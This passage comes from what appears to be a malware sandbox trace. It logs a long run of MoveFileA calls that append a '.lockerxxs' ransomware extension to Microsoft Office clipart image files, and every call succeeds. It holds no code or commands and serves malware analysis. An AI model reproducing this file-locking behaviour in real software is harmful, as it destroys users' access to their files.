Office\\CLIPART\\PUB60COR\\J0382927.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.lockerxxs")) returned 1 [0060.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.lockerxxs")) returned 1 [0060.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.lockerxxs")) returned 1 [0060.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.lockerxxs")) returned 1 [0060.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.lockerxxs")) returned 1 [0060.955] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.lockerxxs")) returned 1 [0060.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.lockerxxs")) returned 1 [0060.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.lockerxxs")) returned 1 [0060.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.lockerxxs")) returned 1 [0060.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.lockerxxs")) returned 1 [0060.989] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.lockerxxs")) returned 1 [0060.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.lockerxxs")) returned 1 [0061.006] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.lockerxxs")) returned 1 [0061.011] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.lockerxxs")) returned 1 [0061.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.lockerxxs")) returned 1 [0061.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.lockerxxs")) returned 1 [0061.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.lockerxxs")) returned 1 [0061.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.lockerxxs")) returned 1 [0061.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.lockerxxs")) returned 1 [0061.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.lockerxxs")) returned 1 [0061.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.lockerxxs")) returned 1 [0061.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.lockerxxs")) returned 1 [0061.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.lockerxxs")) returned 1 [0061.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.lockerxxs")) returned 1 [0061.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.lockerxxs")) returned 1 [0061.086] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.lockerxxs")) returned 1 [0061.092] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.lockerxxs")) returned 1 [0061.097] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.lockerxxs")) returned 1 [0061.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.lockerxxs")) returned 1 [0061.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.lockerxxs")) returned 1 [0061.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.lockerxxs")) returned 1 [0061.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.lockerxxs")) returned 1 [0061.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.lockerxxs")) returned 1 [0061.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.lockerxxs")) returned 1 [0061.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.lockerxxs")) returned 1 [0061.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.lockerxxs")) returned 1 [0061.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.lockerxxs")) returned 1 [0061.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.lockerxxs")) returned 1 [0061.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.lockerxxs")) returned 1 [0061.322] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.lockerxxs")) returned 1 [0061.327] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.lockerxxs")) returned 1 [0061.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.lockerxxs")) returned 1 [0061.337] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.lockerxxs")) returned 1 [0061.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.lockerxxs")) returned 1 [0061.350] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.lockerxxs")) returned 1 [0061.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.lockerxxs")) returned 1 [0061.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.lockerxxs")) returned 1 [0061.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.lockerxxs")) returned 1 [0061.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.lockerxxs")) returned 1 [0061.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.lockerxxs")) returned 1 [0061.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.lockerxxs")) returned 1 [0061.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.lockerxxs")) returned 1 [0061.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.lockerxxs")) returned 1 [0061.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.lockerxxs")) returned 1 [0061.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.lockerxxs")) returned 1 [0061.485] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.lockerxxs")) returned 1 [0061.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.lockerxxs")) returned 1 [0061.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.lockerxxs")) returned 1 [0061.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.lockerxxs")) returned 1 [0061.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.lockerxxs")) returned 1 [0061.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.lockerxxs")) returned 1 [0061.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.lockerxxs")) returned 1 [0061.545] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.lockerxxs")) returned 1 [0061.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.lockerxxs")) returned 1 [0061.554] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.lockerxxs")) returned 1 [0061.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.lockerxxs")) returned 1 [0061.564] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.lockerxxs")) returned 1 [0061.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.lockerxxs")) returned 1 [0061.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 